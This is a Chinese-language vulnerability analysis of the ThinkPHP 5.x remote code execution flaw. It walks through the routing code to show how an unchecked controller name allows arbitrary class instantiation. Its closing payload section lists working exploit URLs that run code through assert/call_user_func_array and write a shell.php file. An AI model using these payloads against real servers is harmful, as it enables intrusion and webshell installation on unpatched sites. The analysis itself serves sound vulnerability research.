Thinkphp 5.0远程代码执行漏洞

0x01 简叙

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.05.1版本,推荐尽快更新到最新版本。

这部分是官网的漏洞通告,官方最开始的补丁是在library/think/route/dispatch/Module.php中添加。

1

但是随机在第二天的5.1.31版本中将这部分的控制移动到library/think/route/dispatch/Url.php中。

1

0x02 漏洞分析

当然官方修改代码的位置是在thinkphp\library\think\route\dispatch\Module.php:70,因此可以现在这里下个断点看看。

3

我们看到传入初始化的url之后,调用链调用了thinkphp\library\think\route\dispatch\url.php:25,我们来看一下代码。

1
2
3
4
5
6
7
public function init()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);

return (new Module($this->request, $this->rule, $result))->init();
}

第四行调用了 parseUrl 函数针对传入的$this->dispatch进行解析。跟进一下 parseUrl 函数,函数位置在think/thinkphp/library/think/route/dispatch/Url.php:37,下一个断点看看。

4

我们发现调用会调用 parseUrl 函数中的 parseUrlPath 方法针对url进行处理,跟进一下 parseUrlPath 方法。代码位置think/thinkphp/library/think/route/Rule.php

4

对于thinkphp的框架来说url正常的请求方式应该是 aa/bb/cc 也就是上面代码注释中的模块/控制器/操作。然后这里将url根据/进行了切割形成一个数组存到 $path 变量中并返回到调用者。那么最后经过 parseUrl 函数处理之后的结果 $route 变量实际上就是上面的模块/控制器/操作三个部分。

4

$result就是我们之前说到的封装好的路由数组,传递给了Module的构造函数。

7

我们继续往下看由于存在这两行代码:

1
2
class Url extends Dispatch
class Module extends Dispatch

也就是说这里的 urlmodule 都是继承自 Dispatch 类,跟进看一下 Dispatch 类的实现。相关代码在:think/thinkphp/library/think/route/Dispatch.php:64

8

因此根据这个结构,初始化 Module 类的时候,将我们之前的 $result 数组传递了给了 $dispatch 变量,并且调用 Module 类的init方法

1
return (new Module($this->request, $this->rule, $result))->init();

因此继续跟进下来的 $result 变量实际上是我们刚刚的数组。

9

所以回到我们刚刚的漏洞出发点,下个断点,我们发现 $controller 变量和 $this->actionName 都是从我们刚刚返回的 $result 数组中获取的。

10

继续跟进调试,当路径判断等init操作全部完成之后,程序会运行到think/thinkphp/library/think/App.php:432

1
2
3
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});

这行直接调用了$dispatch->run(),跟进一下,这个函数作用是执行路由调度。

11

其中第19行调用了 exec 方法,跟进一下,这里我下了一个断点,当程序到了这里实例化了控制器 controller ,且根据上面的分析 $this->controller 完全可控。

12

继续跟进一下 controller ,第三行调用了 $this->parseModuleAndClass 方法来处理 $name 变量。而 $name 变量,正是前面是实例化的 $this->controller 。并且 第5-9行 此时判断类是否存在,不存在会触发自动加载类,然后第11行实例化这个类。

1
2
3
4
5
6
7
8
9
10
11
12
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}

throw new ClassNotFoundException('class not exists:' . $class, $class);
}

跟进一下 parseModuleAndClass 方法,也就是说如果 $name 变量中带有/,会直接将$name赋值给$class并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}

return [$module, $class];
}

而从我们刚刚分析中可以知道 $name 实际上是可控的,这里实际上可以使用利用命名空间的特点(ph师傅真厉害,code-breaking的function就是说这个东西的),如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

12

那么现在到这里实际上为啥会RCE基本上弄清楚了,关键是如何控制它RCE,首先我们运行应用程序的时候,实际上是think/thinkphp/library/think/App.php:375

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function run()
{
try {
// 初始化应用
$this->initialize();
....
// 监听app_dispatch
$this->hook->listen('app_dispatch');

$dispatch = $this->dispatch;

if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
}

// 记录当前调度信息
$this->request->dispatch($dispatch);

我们看到第14行,调用 routeCheck 的init方法来检测路由,跟进一下 routeCheck

1
2
3
4
5
6
7
8
9
10
11
12
public function routeCheck()
{

...
// 获取应用调度信息
$path = $this->request->path();

// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');

// 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must);

从这里我们可以看到默认开启了强制路由模式,并且调用的 request 中的 path 方法来获取路由信息。跟进一下 path 方法,发现调用的是 pathinfo 方法来读取路径信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function path()
{
if (is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo();

if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}

return $this->path;
}

跟进一下 pathinfo 方法,我们发现它会从 $_GET[\$this->config[‘var_pathinfo’] 中判断是否有 $pathinfo 信息。

1
2
3
4
5
6
7
8
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数。

14

然后会 $path 交由 check 函数进行处理,最后的结果赋值给 $dispatch

1
$dispatch = $this->route->check($path, $must);

跟进一下 check 函数,最后实例化一个 UrlDispatch 对象,将 $url 传递给了构造函数。

1
2
3
4
5
6
7
8
9
10
11
public function check($url, $must = false)
{
// 自动检测域名路由
$domain = $this->checkDomain();
$url = str_replace($this->config['pathinfo_depr'], '|', $url);
...
// 默认路由解析
return new UrlDispatch($this->request, $this->group, $url, [
'auto_search' => $this->autoSearchController,
]);
}

继续跟进一下 UrlDispatch 对象,最后就回到了我们最开始的thinkphp\library\think\route\dispatch\url.php

15

0x03 payload

自己真的懒。膜拜一下水泡泡师傅,这里直接丢他先知上给的,要是这个早出来几天就好了,这样我就可以刷一刷一个众测了,据说6个月前就有人在bbs问过这个问题了,tql。

5.1是下面这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

1
2
3
4
5
6
7
8
9
10
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

1
2
3
4
5
6
7
8
9
10
think\Route 
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

5.1.x php版本>5.5

1
2
3
4
5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4

1
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

Refer

thinkphp 5.x全版本任意代码执行分析全记录